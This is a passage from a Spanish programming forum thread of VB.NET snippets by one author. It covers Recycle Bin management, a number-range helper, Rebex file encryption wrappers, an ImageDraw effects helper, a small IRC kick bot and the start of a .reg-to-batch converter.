  39.    Dim RecycledFilesE As ShellFile() = RecycleBinManager.Tools.GetDeletedFiles("E")
  40.  
  41.    ' Get all the deleted folders inside the Recycle Bin on "E" drive.
  42.    Dim RecycledFoldersE As ShellFolder() = RecycleBinManager.Tools.GetDeletedFolders("E")
  43.  
  44.  
  45.    ' Gets the Last deleted Item inside the Main Recycle Bin.
  46.    MsgBox(RecycleBinManager.MainBin.LastDeletedItem.Name)
  47.  
  48.    ' Gets the Last deleted Item inside the Recycle Bin on "E" drive
  49.    MsgBox(RecycleBinManager.Tools.GetLastDeletedItem("E").Name)
  50.  
  51.  
  52.    ' Undeletes an item.
  53.    RecycleBinManager.Tools.UndeleteItem(RecycleBinManager.MainBin.LastDeletedItem)
  54.  
  55.    ' Permanently deletes an item.
  56.    RecycleBinManager.Tools.DeleteItem(RecycleBinManager.MainBin.LastDeletedItem)
  57.  
  58.    ' Invokes an Item-Verb
  59.    RecycleBinManager.Tools.InvokeItemVerb(RecycleBinManager.MainBin.LastDeletedItem, "properties")

2.
Código
  1.    Private Sub Test() Handles MyBase.Shown
  2.  
  3.        Dim sb As New System.Text.StringBuilder
  4.  
  5.        ' Get all the deleted items inside all the Recycle Bins.
  6.        Dim RecycledItems As ShellObject() = RecycleBinManager.MainBin.Items
  7.  
  8.        ' Loop through the deleted Items (Ordered by las deleted).
  9.        For Each Item As ShellFile In (From itm In RecycledItems
  10.                                       Order By itm.Properties.GetProperty("System.Recycle.DateDeleted").ValueAsObject
  11.                                       Descending)
  12.  
  13.            ' Append the property bags information.
  14.            sb.AppendLine(String.Format("Full Name....: {0}",
  15.                                        Item.Name))
  16.  
  17.            sb.AppendLine(String.Format("Item Name....: {0}",
  18.                                        Item.Properties.System.ItemNameDisplay.Value))
  19.  
  20.            sb.AppendLine(String.Format("Deleted From.: {0}",
  21.                                        Item.Properties.GetProperty("System.Recycle.DeletedFrom").ValueAsObject))
  22.  
  23.            sb.AppendLine(String.Format("Item Type....: {0}",
  24.                                       Item.Properties.System.ItemTypeText.Value))
  25.  
  26.            sb.AppendLine(String.Format("Item Size....: {0}",
  27.                                        CStr(Item.Properties.System.Size.Value)))
  28.  
  29.            sb.AppendLine(String.Format("Attributes...: {0}",
  30.                                        [Enum].Parse(GetType(IO.FileAttributes),
  31.                                                     Item.Properties.System.FileAttributes.Value).ToString))
  32.  
  33.            sb.AppendLine(String.Format("Date Deleted.: {0}",
  34.                                        Item.Properties.GetProperty("System.Recycle.DateDeleted").ValueAsObject))
  35.  
  36.            sb.AppendLine(String.Format("Date Modified: {0}",
  37.                                        CStr(Item.Properties.System.DateModified.Value)))
  38.  
  39.            sb.AppendLine(String.Format("Date Created.: {0}",
  40.                                        CStr(Item.Properties.System.DateCreated.Value)))
  41.  
  42.            MsgBox(sb.ToString)
  43.            sb.Clear()
  44.  
  45.        Next Item
  46.  
  47.    End Sub


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Enero 2014, 16:59 pm
Dado una colección de números, devuelve todos los números que no están dentro de un rango especificado.

Código
  1.    ' Get Numbers Not In Range.
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    '
  6.    ' MsgBox(String.Join(", ", GetNumbersNotInRange({1, 3, 5, 7, 9}, 0, 10).ToArray)) ' Result: 0, 2, 4, 6, 8, 10
  7.    '
  8.    ''' <summary>
  9.    ''' Given a numeric collection, gets all the numbers which are not in a specified range.
  10.    ''' </summary>
  11.    ''' <param name="NumbersInRange">Indicates the numbers collection which are in range.</param>
  12.    ''' <param name="MinRange">Indicates the minimum range.</param>
  13.    ''' <param name="MaxRange">Indicates the maximum range.</param>
  14.    ''' <returns>System.Collections.Generic.IEnumerable(Of System.Int32).</returns>
  15.    Private Function GetNumbersNotInRange(ByVal NumbersInRange As IEnumerable(Of Integer),
  16.                                          ByVal MinRange As Integer,
  17.                                          ByVal MaxRange As Integer) As IEnumerable(Of Integer)
  18.  
  19.        Return From Number As Integer
  20.               In Enumerable.Range(MinRange, MaxRange + 1)
  21.               Where Not NumbersInRange.Contains(Number)
  22.  
  23.    End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 21 Enero 2014, 00:57 am
Unos métodos de uso genérico para cifrar y descifrar archivos (reálmente el manejo es muy simple xD) usando la librería de pago ReBex ~> http://www.rebex.net/total-pack/default.aspx

Código
  1. ' [Rebex.Security] Encrypt-Decrypt File
  2. ' ( By Elektro )
  3. '
  4. ' Instructions:
  5. ' 1. Add a reference to "Rebex.Security.dll"
  6. '
  7. ' Usage Examples:
  8. ' EncryptFile("File.txt", "Encrypted.txt", "Elektro", FileEncryptionAlgorithm.AesXts, False)
  9. ' DecryptFile("Encrypted.txt", "Decrypted.txt", "Elektro", FileEncryptionAlgorithm.AesXts, False)
  10.  
  11.    ''' <summary>
  12.    ''' Encrypts the data of the specified file.
  13.    ''' </summary>
  14.    ''' <param name="InFile">
  15.    ''' Indicates the file to encrypt.
  16.    ''' </param>
  17.    ''' <param name="OutFile">
  18.    ''' Indicates the resulting encrypted output file.
  19.    ''' </param>
  20.    ''' <param name="Password">
  21.    ''' Indicates the password required to decrypt the file when needed.
  22.    ''' </param>
  23.    ''' <param name="Algorithm">
  24.    ''' Indicates the encryption algorithm.
  25.    ''' </param>
  26.    ''' <param name="OverwriteExistingFile">
  27.    ''' If set to <c>true</c> the resulting output file should overwrite any existing file.
  28.    ''' </param>
  29.    ''' <exception cref="System.Security.Cryptography.CryptographicException">
  30.    ''' Unexpected error, the data to encrypt could be corrupted.
  31.    ''' </exception>
  32.    ''' <exception cref="System.InvalidOperationException"></exception>
  33.    Private Sub EncryptFile(ByVal InFile As String,
  34.                            ByVal OutFile As String,
  35.                            ByVal Password As String,
  36.                            Optional ByVal Algorithm As Rebex.Security.FileEncryptionAlgorithm =
  37.                                                                       FileEncryptionAlgorithm.AesXts,
  38.                            Optional ByVal OverwriteExistingFile As Boolean = False)
  39.  
  40.        Dim Encryptor As New FileEncryption()
  41.  
  42.        With Encryptor
  43.  
  44.            .SetPassword(Password)
  45.            .EncryptionAlgorithm = Algorithm
  46.            .OverwriteExistingFile = OverwriteExistingFile
  47.  
  48.        End With
  49.  
  50.        Try
  51.            Encryptor.Encrypt(InFile, OutFile)
  52.  
  53.        Catch ex As Security.Cryptography.CryptographicException
  54.            Throw New Security.Cryptography.CryptographicException(
  55.                "Unexpected error, the data to encrypt could be corrupted.")
  56.  
  57.        Catch ex As InvalidOperationException
  58.            Throw New InvalidOperationException(
  59.               String.Format("The target file '{0}' already exist.", OutFile))
  60.  
  61.        End Try
  62.  
  63.    End Sub
  64.  
  65.    ''' <summary>
  66.    ''' Decrypts the data of the specified file.
  67.    ''' </summary>
  68.    ''' <param name="InFile">
  69.    ''' Indicates the file to decrypt.
  70.    ''' </param>
  71.    ''' <param name="OutFile">
  72.    ''' Indicates the resulting decrypted output file.
  73.    ''' </param>
  74.    ''' <param name="Password">
  75.    ''' Indicates the password to decrypt the File.
  76.    ''' The password should be the same used when encrypted the file.
  77.    ''' </param>
  78.    ''' <param name="Algorithm">
  79.    ''' Indicates the decryption algorithm.
  80.    ''' The algorithm should be the same used when encrypted the file.
  81.    ''' </param>
  82.    ''' <param name="OverwriteExistingFile">
  83.    ''' If set to <c>true</c> the resulting output file should overwrite any existing file.
  84.    ''' </param>
  85.    ''' <exception cref="System.Security.Cryptography.CryptographicException">
  86.    ''' The password, the data to decrypt, or the decryption algorithm are wrong.
  87.    ''' </exception>
  88.    ''' <exception cref="System.InvalidOperationException"></exception>
  89.    Private Sub DecryptFile(ByVal InFile As String,
  90.                            ByVal OutFile As String,
  91.                            ByVal Password As String,
  92.                            Optional ByVal Algorithm As Rebex.Security.FileEncryptionAlgorithm =
  93.                                                                       FileEncryptionAlgorithm.AesXts,
  94.                            Optional ByVal OverwriteExistingFile As Boolean = False)
  95.  
  96.  
  97.        Dim Decryptor As New FileEncryption()
  98.  
  99.        With Decryptor
  100.  
  101.            .SetPassword(Password)
  102.            .EncryptionAlgorithm = Algorithm
  103.            .OverwriteExistingFile = OverwriteExistingFile
  104.  
  105.        End With
  106.  
  107.        Try
  108.            Decryptor.Decrypt(InFile, OutFile)
  109.  
  110.        Catch ex As Security.Cryptography.CryptographicException
  111.            Throw New Security.Cryptography.CryptographicException(
  112.                "The password, the data to decrypt, or the decryption algorithm are wrong.")
  113.  
  114.        Catch ex As InvalidOperationException
  115.            Throw New InvalidOperationException(
  116.               String.Format("The target file '{0}' already exist.", OutFile))
  117.  
  118.        End Try
  119.  
  120.    End Sub


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 22 Enero 2014, 07:03 am
Me puse a jugar con el efecto de Pixelado de la librería de pago ImageDraw ~> http://www.neodynamic.com/products/image-draw/sdk-vb-net-csharp/ ...y al final acabé escribiendo un ayudante de casi 2.000 lineas.

Aquí pueden ver el código completo ~> http://pastebin.com/Ha8tG3cA

Le añadí métodos de uso genérico para realizar las siguientes acciones (no están todos los efectos):

Código:
' -------
' Methods
' -------
'
' Properties.Brightness
' Properties.Contrast
' Properties.Gamma
' Properties.HSL
' Properties.Hue
' Properties.Opacity
'
' Effects.CameraView
' Effects.ColorSubstitution
' Effects.ConvertToBlackWhite
' Effects.ConvertToNegative
' Effects.ConvertToSepia
' Effects.Crop
' Effects.DistortCorners
' Effects.DropShadow
' Effects.Fade
' Effects.Feather
' Effects.Filmstrip
' Effects.Flip
' Effects.FocalGrayscale
' Effects.GaussianBlur
' Effects.GlassTable
' Effects.Glow
' Effects.MakeTransparent
' Effects.PerspectiveReflection
' Effects.PerspectiveView
' Effects.Pixelate
' Effects.RemoveColor
' Effects.RemoveTransparency
' Effects.Resize
' Effects.Rotate
' Effects.RoundCorners
' Effects.Scale
' Effects.Sharpen
' Effects.Silhouette
' Effects.Skew
' Effects.Solarize
' Effects.Stretch
' Effects.Tint
Ejemplos de uso:
Código
  1.        Dim [ImageElement] As ImageElement = ImageElement.FromFile("C:\Image.png")
  2.        Dim [TextElement] As New TextElement With {.Text = "Hello World!"}
  3.  
  4.        ImageDrawHelper.Properties.Brightness([ImageElement], 50)
  5.        ImageDrawHelper.Properties.Contrast([ImageElement], 50)
  6.        ImageDrawHelper.Properties.Gamma([ImageElement], 50)
  7.        ImageDrawHelper.Properties.HSL([ImageElement], 50, 50, 50)
  8.        ImageDrawHelper.Properties.Hue([ImageElement], 50)
  9.        ImageDrawHelper.Properties.Opacity([ImageElement], 50)
  10.  
  11.        ImageDrawHelper.Effects.CameraView([ImageElement], 30, 25)
  12.        ImageDrawHelper.Effects.ColorSubstitution([ImageElement], Color.Black, Color.Fuchsia, 10)
  13.        ImageDrawHelper.Effects.ConvertToBlackWhite([ImageElement], DitherMethod.Threshold, 53, False)
  14.        ImageDrawHelper.Effects.ConvertToNegative([ImageElement])
  15.        ImageDrawHelper.Effects.ConvertToSepia([ImageElement])
  16.        ImageDrawHelper.Effects.Crop([ImageElement], 0, 10, 200, 160)
  17.        ImageDrawHelper.Effects.DistortCorners([ImageElement], -20, -20, 200, 0, 250, 180, -30, 200)
  18.        ImageDrawHelper.Effects.DropShadow([ImageElement], 60, Color.Lime, 270, 6, 10)
  19.        ImageDrawHelper.Effects.Fade([ImageElement], FadeShape.Oval, FillType.Gradient, GradientShape.Path)
  20.        ImageDrawHelper.Effects.Feather([ImageElement], 5, FeatherShape.Oval)
  21.        ImageDrawHelper.Effects.Filmstrip([ImageElement], FilmstripOrientation.Vertical, 150, 180, 0, Color.Yellow, 5)
  22.        ImageDrawHelper.Effects.Flip([ImageElement], FlipType.Horizontal)
  23.        ImageDrawHelper.Effects.FocalGrayscale([ImageElement], FocalShape.Oval, FillType.Gradient, GradientShape.Path, Color.FromArgb(0, 255, 255, 255), Color.FromArgb(0, 0, 0))
  24.        ImageDrawHelper.Effects.GaussianBlur([ImageElement], 5)
  25.        ImageDrawHelper.Effects.GlassTable([ImageElement], 50, 25)
  26.        ImageDrawHelper.Effects.GlassTable([ImageElement], 50, 25, ReflectionLocation.Custom, 2, 10)
  27.        ImageDrawHelper.Effects.Glow([ImageElement], Color.Red, 80, 8)
  28.        ImageDrawHelper.Effects.MakeTransparent([ImageElement])
  29.        ImageDrawHelper.Effects.PerspectiveReflection([ImageElement], 270, 50, 50, 150, 0)
  30.        ImageDrawHelper.Effects.PerspectiveView([ImageElement], 25, PerspectiveOrientation.LeftToRight)
  31.        ImageDrawHelper.Effects.Pixelate([ImageElement], 20, 0)
  32.        ImageDrawHelper.Effects.RemoveColor([ImageElement], Color.White, 10, ScanDirection.All)
  33.        ImageDrawHelper.Effects.RemoveTransparency([ImageElement])
  34.        ImageDrawHelper.Effects.Resize([ImageElement], 256, 256, LockAspectRatio.WidthBased, Drawing2D.InterpolationMode.Bicubic)
  35.        ImageDrawHelper.Effects.Rotate([ImageElement], 90, Drawing2D.InterpolationMode.Bicubic)
  36.        ImageDrawHelper.Effects.RoundCorners([ImageElement], Corners.All, 120)
  37.        ImageDrawHelper.Effects.RoundCorners([ImageElement], Corners.All, 20, 10, Color.Red)
  38.        ImageDrawHelper.Effects.Scale([ImageElement], 50, 50, Drawing2D.InterpolationMode.Bicubic)
  39.        ImageDrawHelper.Effects.Sharpen([ImageElement])
  40.        ImageDrawHelper.Effects.Silhouette([ImageElement], Color.RoyalBlue)
  41.        ImageDrawHelper.Effects.Skew([ImageElement], SkewType.Parallelogram, -10, SkewOrientation.Horizontal, True)
  42.        ImageDrawHelper.Effects.Solarize([ImageElement])
  43.        ImageDrawHelper.Effects.Stretch([ImageElement], 90, 150)
  44.        ImageDrawHelper.Effects.Tint([ImageElement], Color.Orange)
  45.  
  46.        PictureBox1.BackgroundImage = [ImageElement].GetOutputImage


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 23 Enero 2014, 00:46 am
Un mini bot para IRC usando la librería Thesher IRC.

Y digo mini bot, porque sólamente le implementé dos funciones muy básicas, !Kick y !KickAll.

El código está bastante hardcodeado.

Código
  1. ' [Thresher IRC] Bot example
  2. ' (By Elektro)
  3. '
  4. ' Instructions
  5. ' 1. Add a reference to 'Sharkbite.Thresher.dll'.
  6. '
  7. ' Usage Examples:
  8. ' Public  BOT As New IRCBot("irc.freenode.net", "#ircehn", "ElektroBot")
  9.  
  10. #Region " Imports "
  11.  
  12. Imports Sharkbite.Irc
  13.  
  14. #End Region
  15.  
  16. Public Class IRCBot
  17.  
  18. #Region " Members "
  19.  
  20. #Region " Properties "
  21.  
  22.    ''' <summary>
  23.    ''' Indicates the IRC server to connect.
  24.    ''' </summary>
  25.    Private Property Server As String = String.Empty
  26.  
  27.    ''' <summary>
  28.    ''' Indicates the IRC channel to join.
  29.    ''' </summary>
  30.    Private Property Channel As String = String.Empty
  31.  
  32.    ''' <summary>
  33.    ''' Indicates the nickname to use.
  34.    ''' </summary>
  35.    Private Property Nick As String = String.Empty
  36.  
  37. #End Region
  38.  
  39. #Region " Others "
  40.  
  41.    ''' <summary>
  42.    ''' Performs the avaliable Bot commands.
  43.    ''' </summary>
  44.    Public WithEvents BotConnection As Connection
  45.  
  46.    ''' <summary>
  47.    ''' Handles the Bot events.
  48.    ''' </summary>
  49.    Public WithEvents BotListener As Listener
  50.  
  51.    ''' <summary>
  52.    ''' Stores a list of the current users on a channel room.
  53.    ''' </summary>
  54.    Private RoomUserNames As New List(Of String)
  55.  
  56.    ''' <summary>
  57.    ''' Indicates the invoked command arguments.
  58.    ''' </summary>
  59.    Private CommandParts As String() = {String.Empty}
  60.  
  61. #End Region
  62.  
  63. #End Region
  64.  
  65. #Region " Constructor "
  66.  
  67.    ''' <summary>
  68.    ''' Initializes a new instance of the <see cref="IRCBot"/> class.
  69.    ''' </summary>
  70.    ''' <param name="Server">Indicates the IRC server to connect.</param>
  71.    ''' <param name="Channel">Indicates the IRC channel to join.</param>
  72.    ''' <param name="Nick">Indicates the nickname to use.</param>
  73.    Public Sub New(ByVal Server As String,
  74.                   ByVal Channel As String,
  75.                   ByVal Nick As String)
  76.  
  77.        Me.Server = Server
  78.        Me.Channel = Channel
  79.        Me.Nick = Nick
  80.  
  81.        CreateConnection()
  82.  
  83.    End Sub
  84.  
  85. #End Region
  86.  
  87. #Region " Private Methods "
  88.  
  89.    ''' <summary>
  90.    ''' Establishes the first connection to the server.
  91.    ''' </summary>
  92.    Public Sub CreateConnection()
  93.  
  94.        Console.WriteLine(String.Format("[+] Bot started........: '{0}'", DateTime.Now.ToString))
  95.  
  96.        Identd.Start(Me.Nick)
  97.        BotConnection = New Connection(New ConnectionArgs(Me.Nick, Me.Server), False, False)
  98.        BotListener = BotConnection.Listener
  99.  
  100.        Try
  101.            BotConnection.Connect()
  102.            Console.WriteLine(String.Format("[+] Connected to server: '{0}'", Me.Server))
  103.  
  104.        Catch e As Exception
  105.            Console.WriteLine(String.Format("[X] Error during connection process: {0}", e.ToString))
  106.            Identd.Stop()
  107.  
  108.        End Try
  109.  
  110.    End Sub
  111.  
  112.  
  113.    ''' <summary>
  114.    ''' Kicks everybody from the channel room unless the user who invoked the command.
  115.    ''' </summary>
  116.    ''' <param name="UserInvoked">Indicates the user who invoked the command.</param>
  117.    ''' <param name="CommandMessage">Indicates the command message to retrieve the command arguments.</param>
  118.    Private Sub KickEverybody(ByVal UserInvoked As String,
  119.                              ByVal CommandMessage As String)
  120.  
  121.        ' Renew the current nicknames on the channel room.
  122.        BotConnection.Sender.AllNames()
  123.  
  124.        ' Get the Kick Reason from the CommandMessage.
  125.        CommandParts = CommandMessage.Split
  126.  
  127.        Select Case CommandParts.Length
  128.  
  129.            Case Is > 1
  130.                CommandParts = CommandParts.Skip(1).ToArray
  131.  
  132.            Case Else
  133.                BotConnection.Sender.PublicMessage(Me.Channel, String.Format(
  134.                    "[X] Can't process the invoked command, 'KickReason' parameter expected."))
  135.  
  136.                BotConnection.Sender.PublicMessage(Me.Channel, String.Format(
  137.                    "[i] Command Syntax: !KickAll ""Kick Reason"""))
  138.  
  139.                Exit Sub
  140.  
  141.        End Select
  142.  
  143.        ' Kick each users one by one.
  144.        For Each User As String In (From Nick As String
  145.                                    In RoomUserNames
  146.                                    Where Not Nick = UserInvoked _
  147.                                          AndAlso Not Nick = Me.Nick)
  148.  
  149.            BotConnection.Sender.Kick(Me.Channel, String.Join(" ", CommandParts), User)
  150.  
  151.        Next User
  152.  
  153.    End Sub
  154.  
  155.    ''' <summary>
  156.    ''' Kicks the specified user from the channel.
  157.    ''' </summary>
  158.    ''' <param name="CommandMessage">Indicates the command message to retrieve the command arguments.</param>
  159.    Private Sub Kick(ByVal CommandMessage As String)
  160.  
  161.        ' Renew the current nicknames on the channel room.
  162.        BotConnection.Sender.AllNames()
  163.  
  164.        ' Get the user to Kick and the Kick Reason.
  165.        CommandParts = CommandMessage.Split
  166.        Select Case CommandParts.Length
  167.  
  168.            Case Is > 2
  169.                CommandParts = CommandParts.Skip(1).ToArray
  170.  
  171.            Case Is < 2
  172.                BotConnection.Sender.PublicMessage(Me.Channel, String.Format(
  173.                    "[X] Can't process the invoked command, 'NickName' parameter expected."))
  174.  
  175.                BotConnection.Sender.PublicMessage(Me.Channel, String.Format(
  176.                    "[X] Command Syntax: !Kick ""NickName"" ""Kick Reason"""))
  177.  
  178.                Exit Sub
  179.  
  180.        End Select
  181.  
  182.        BotConnection.Sender.Kick(Me.Channel, String.Join(" ", CommandParts.Skip(1)), CommandParts(0))
  183.  
  184.    End Sub
  185.  
  186.  
  187. #End Region
  188.  
  189. #Region " Event Handlers "
  190.  
  191.    ''' <summary>
  192.    ''' Occurs when the Bot joins to a channel.
  193.    ''' </summary>
  194.    Private Sub OnRegistered() Handles BotListener.OnRegistered
  195.  
  196.        Try
  197.            Identd.Stop()
  198.            BotConnection.Sender.Join(Me.Channel)
  199.            Console.WriteLine(String.Format("[+] Channel joined.....: '{0}'", Me.Channel))
  200.  
  201.        Catch e As Exception
  202.            Console.WriteLine(String.Format("[X] Error in 'OnRegistered' Event: {0}", e.Message))
  203.  
  204.        End Try
  205.  
  206.    End Sub
  207.  
  208.    ''' <summary>
  209.    ''' Occurs when an unexpected Bot error happens.
  210.    ''' </summary>
  211.    ''' <param name="code">Indicates the ReplyCode.</param>
  212.    ''' <param name="message">Contains the error message information.</param>
  213.    Private Sub OnError(ByVal code As ReplyCode,
  214.                        ByVal message As String) Handles BotListener.OnError
  215.  
  216.        BotConnection.Sender.PublicMessage(Me.Channel, String.Format("[X] Unexpected Error: {0}", message))
  217.        Console.WriteLine(String.Format("[X] Unexpected Error: {0}", message))
  218.        Debug.WriteLine(String.Format("[X] Unexpected Error: {0}", message))
  219.  
  220.    End Sub
  221.  
  222.    ''' <summary>
  223.    ''' Occurs when a user sends a public message in a channel room.
  224.    ''' </summary>
  225.    ''' <param name="user">Indicates the user who sent the public message.</param>
  226.    ''' <param name="channel">Indicates the channel where the public message was sent.</param>
  227.    ''' <param name="message">Indicates the content of the public message.</param>
  228.    Public Sub OnPublic(ByVal User As UserInfo,
  229.                        ByVal Channel As String,
  230.                        ByVal Message As String) Handles BotListener.OnPublic
  231.  
  232.  
  233.        Select Case True
  234.  
  235.            Case Message.Trim.StartsWith("!KickAll ", StringComparison.OrdinalIgnoreCase)
  236.                KickEverybody(User.Nick, Message)
  237.  
  238.            Case message.Trim.StartsWith("!Kick ", StringComparison.OrdinalIgnoreCase)
  239.                Kick(Message)
  240.  
  241.        End Select
  242.  
  243.    End Sub
  244.  
  245.    ''' <summary>
  246.    ''' Occurs when the Bot invokes one of the methods to retrieve the nicks of a channel.
  247.    ''' For example, the 'Sender.AllNames' method.
  248.    ''' </summary>
  249.    ''' <param name="Channel">Indicates the channel to list the nicks.</param>
  250.    ''' <param name="Nicks">Indicates the nicks of the channel.</param>
  251.    ''' <param name="LastError">Indicates the last command error.</param>
  252.    Private Sub OnNames(ByVal Channel As String,
  253.                        ByVal Nicks() As String,
  254.                        ByVal LastError As Boolean) Handles BotListener.OnNames
  255.  
  256.        If Channel = Me.Channel AndAlso Not RoomUserNames.Count <> 0 Then
  257.  
  258.            RoomUserNames.Clear()
  259.            RoomUserNames.AddRange((From Name As String In Nicks
  260.                                    Select If(Name.StartsWith("@"), Name.Substring(1), Name)).
  261.                                    ToArray)
  262.  
  263.        End If
  264.  
  265.    End Sub
  266.  
  267.    ''' <summary>
  268.    ''' Occurs when the bot invokes the Kick command.
  269.    ''' </summary>
  270.    ''' <param name="user">Indicates the user who invoked the Kick command.</param>
  271.    ''' <param name="channel">Indicates the channel where the user was kicked.</param>
  272.    ''' <param name="kickee">Indicates the kickee.</param>
  273.    ''' <param name="reason">Indicates the kick reason.</param>
  274.    Private Sub OnKick(ByVal user As UserInfo,
  275.                       ByVal channel As String,
  276.                       ByVal kickee As String,
  277.                       ByVal reason As String) Handles BotListener.OnKick
  278.  
  279.        Console.WriteLine(String.Format("[+]: User kicked: '{0}' From channel: '{1}' With reason: '{2}'.",
  280.                                        user.Nick,
  281.                                        channel,
  282.                                        reason))
  283.  
  284.    End Sub
  285.  
  286. #End Region
  287.  
  288. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 28 Enero 2014, 18:49 pm
Una versión pulida de mi ayudante para convertir archivos Reg a Bat

Código
  1. ' ***********************************************************************
  2. ' Assembly : Reg2Bat
  3. ' Author   : Elektro
  4. ' Modified : 01-28-2014
  5. ' ***********************************************************************
  6. ' <copyright file="Reg2Bat.vb" company="Elektro Studios">
  7. '     Copyright (c) Elektro Studios. All rights reserved.
  8. ' </copyright>
  9. ' ***********************************************************************
  10.  
  11. #Region " Usage Examples "
  12.  
  13. ' Dim BatchScript As String = Reg2Bat.Convert("C:\RegistryFile.reg")
  14.  
  15. ' IO.File.WriteAllText("Converted.bat", Reg2Bat.Convert("C:\RegistryFile.reg"), System.Text.Encoding.Default)
  16.  
  17. #End Region
  18.  
  19. #Region " Imports "
  20.  
  21. Imports System.ComponentModel
  22. Imports System.IO
  23. Imports System.Text
  24. Imports System.Text.RegularExpressions
  25.  
  26. #End Region
  27.  
  28. ''' <summary>
  29. ''' Converts a Registry Script to a Batch Script.
  30. ''' </summary>
  31. Public Class Reg2Bat
  32.  
  33. #Region " ReadOnly Strings "
  34.  
  35.    ''' <summary>
  36.    ''' Indicates the resulting Batch-Script Header.
  37.    ''' </summary>
  38.    Private Shared ReadOnly BatchHeader As String =
  39.    <a>:: Converted with Reg2Bat by Elektro
  40.  
  41. @Echo OFF
  42. </a>.Value
  43.  
  44.    ''' <summary>
  45.    ''' Indicates the resulting Batch-Script Footer.
  46.    ''' </summary>
  47.    Private Shared ReadOnly BatchFooter As String =
  48.    <a>
  49. Pause&amp;Exit</a>.Value
  50.  
  51.    ''' <summary>
  52.    ''' Indicates the Batch syntax StringFormat of a Comment-Line command.
  53.    ''' </summary>
  54.    Private Shared ReadOnly BatchStringFormat_Comment As String =
  55.    <a>REM {0}</a>.Value
  56.  
  57.    ''' <summary>
  58.    ''' Indicates the Batch syntax StringFormat of a REG Key-Add command.
  59.    ''' </summary>
  60.    Private Shared ReadOnly BatchStringFormat_KeyAdd As String =
  61.    <a>REG ADD "{0}" /F</a>.Value
  62.  
  63.    ''' <summary>
  64.    ''' Indicates the Batch syntax StringFormat of a REG Key-Delete command.
  65.    ''' </summary>
  66.    Private Shared ReadOnly BatchStringFormat_KeyDelete As String =
  67.    <a>REG DELETE "{0}" /F</a>.Value
  68.  
  69.    ''' <summary>
  70.    ''' Indicates the Batch syntax StringFormat of a REG DefaultValue-Add command.
  71.    ''' </summary>
  72.    Private Shared ReadOnly BatchStringFormat_DefaultValueAdd As String =
  73.    <a>REG ADD "{0}" /V "" /D {1} /F</a>.Value
  74.  
  75.    ''' <summary>
  76.    ''' Indicates the Batch syntax StringFormat of a REG Value-Add REG_SZ command.
  77.    ''' </summary>
  78.    Private Shared ReadOnly BatchStringFormat_ValueAdd_REGSZ As String =
  79.    <a>REG ADD "{0}" /V "{1}" /T "REG_SZ" /D "{2}" /F</a>.Value
  80.  
  81.    ''' <summary>
  82.    ''' Indicates the Batch command StringFormat of a REG Value-Add BINARY command.
  83.    ''' </summary>
  84.    Private Shared ReadOnly BatchStringFormat_ValueAdd_BINARY As String =
  85.    <a>REG ADD "{0}" /V "{1}" /T "REG_BINARY" /D "{2}" /F</a>.Value
  86.  
  87.    ''' <summary>
  88.    ''' Indicates the Batch syntax StringFormat of a REG Value-Add DWORD command.
  89.    ''' </summary>
  90.    Private Shared ReadOnly BatchStringFormat_ValueAdd_DWORD As String =
  91.    <a>REG ADD "{0}" /V "{1}" /T "REG_DWORD" /D "{2}" /F</a>.Value
  92.  
  93.    ''' <summary>
  94.    ''' Indicates the Batch syntax StringFormat of a REG Value-Add QWORD command.
  95.    ''' </summary>
  96.    Private Shared ReadOnly BatchStringFormat_ValueAdd_QWORD As String =
  97.    <a>REG ADD "{0}" /V "{1}" /T "REG_QWORD" /D "{2}" /F</a>.Value
  98.  
  99.    ''' <summary>
  100.    ''' Indicates the Batch syntax StringFormat of a REG Value-Add EXPAND_SZ command.
  101.    ''' </summary>
  102.    Private Shared ReadOnly BatchStringFormat_ValueAdd_EXPANDSZ As String =
  103.    <a>REG ADD "{0}" /V "{1}" /T "REG_EXPAND_SZ" /D "{2}" /F</a>.Value
  104.  
  105.    ''' <summary>
  106.    ''' Indicates the Batch syntax StringFormat of a REG Value-Add MULTI_SZ command.
  107.    ''' </summary>
  108.    Private Shared ReadOnly BatchStringFormat_ValueAdd_MULTISZ As String =
  109.    <a>REG ADD "{0}" /V "{1}" /T "REG_MULTI_SZ" /D "{2}" /F</a>.Value
  110.  
  111.    ''' <summary>
  112.    ''' Indicates the Batch syntax StringFormat of a REG Value-Delete command.
  113.    ''' </summary>
  114.    Private Shared ReadOnly BatchStringFormat_ValueDelete As String =
  115.    <a>REG DELETE "{0}" /V "{1}" /F</a>.Value
  116.  
  117.    ''' <summary>
  118.    ''' Indicates the string to split a BINARY registry line.
  119.    ''' </summary>
  120.    Private Shared ReadOnly RegistryValueSplitter_BINARY As String =
  121.    <a>=HEX</a>.Value
  122.  
  123.    ''' <summary>
  124.    ''' Indicates the string to split a DWORD registry line.
  125.    ''' </summary>
  126.    Private Shared ReadOnly RegistryValueSplitter_DWORD As String =
  127.    <a>=DWORD:</a>.Value
  128.  
  129.    ''' <summary>
  130.    ''' Indicates the string to split a QWORD registry line.
  131.    ''' </summary>
  132.    Private Shared ReadOnly RegistryValueSplitter_QWORD As String =
  133.    <a>=HEX\(b\):</a>.Value
  134.  
  135.    ''' <summary>
  136.    ''' Indicates the string to split a EXPAND_SZ registry line.
  137.    ''' </summary>
  138.    Private Shared ReadOnly RegistryValueSplitter_EXPANDSZ As String =
  139.    <a>=HEX\(2\):</a>.Value
  140.  
  141.    ''' <summary>
  142.    ''' Indicates the string to split a MULTI_SZ registry line.
  143.    ''' </summary>
  144.    Private Shared ReadOnly RegistryValueSplitter_MULTISZ As String =
  145.    <a>=HEX\(7\):</a>.Value
  146.  
  147.    ''' <summary>
  148.    ''' Indicates the string to split a REG_SZ registry line.
  149.    ''' </summary>
  150.    Private Shared ReadOnly RegistryValueSplitter_REGSZ As String =
  151.    <a>"="</a>.Value
  152.  
  153. #End Region
  154.  
  155. #Region " Enumerations "
  156.  
  157.    ''' <summary>
  158.    ''' Indicates the data type of a registry value.
  159.    ''' </summary>
  160.    Public Enum RegistryValueType As Integer
  161.  
  162.        ''' <summary>
  163.        ''' A null-terminated string.
  164.        ''' This will be either a Unicode or an ANSI string.
  165.        ''' </summary>
  166.        REG_SZ = 0
  167.  
  168.        ''' <summary>
  169.        ''' Binary data.
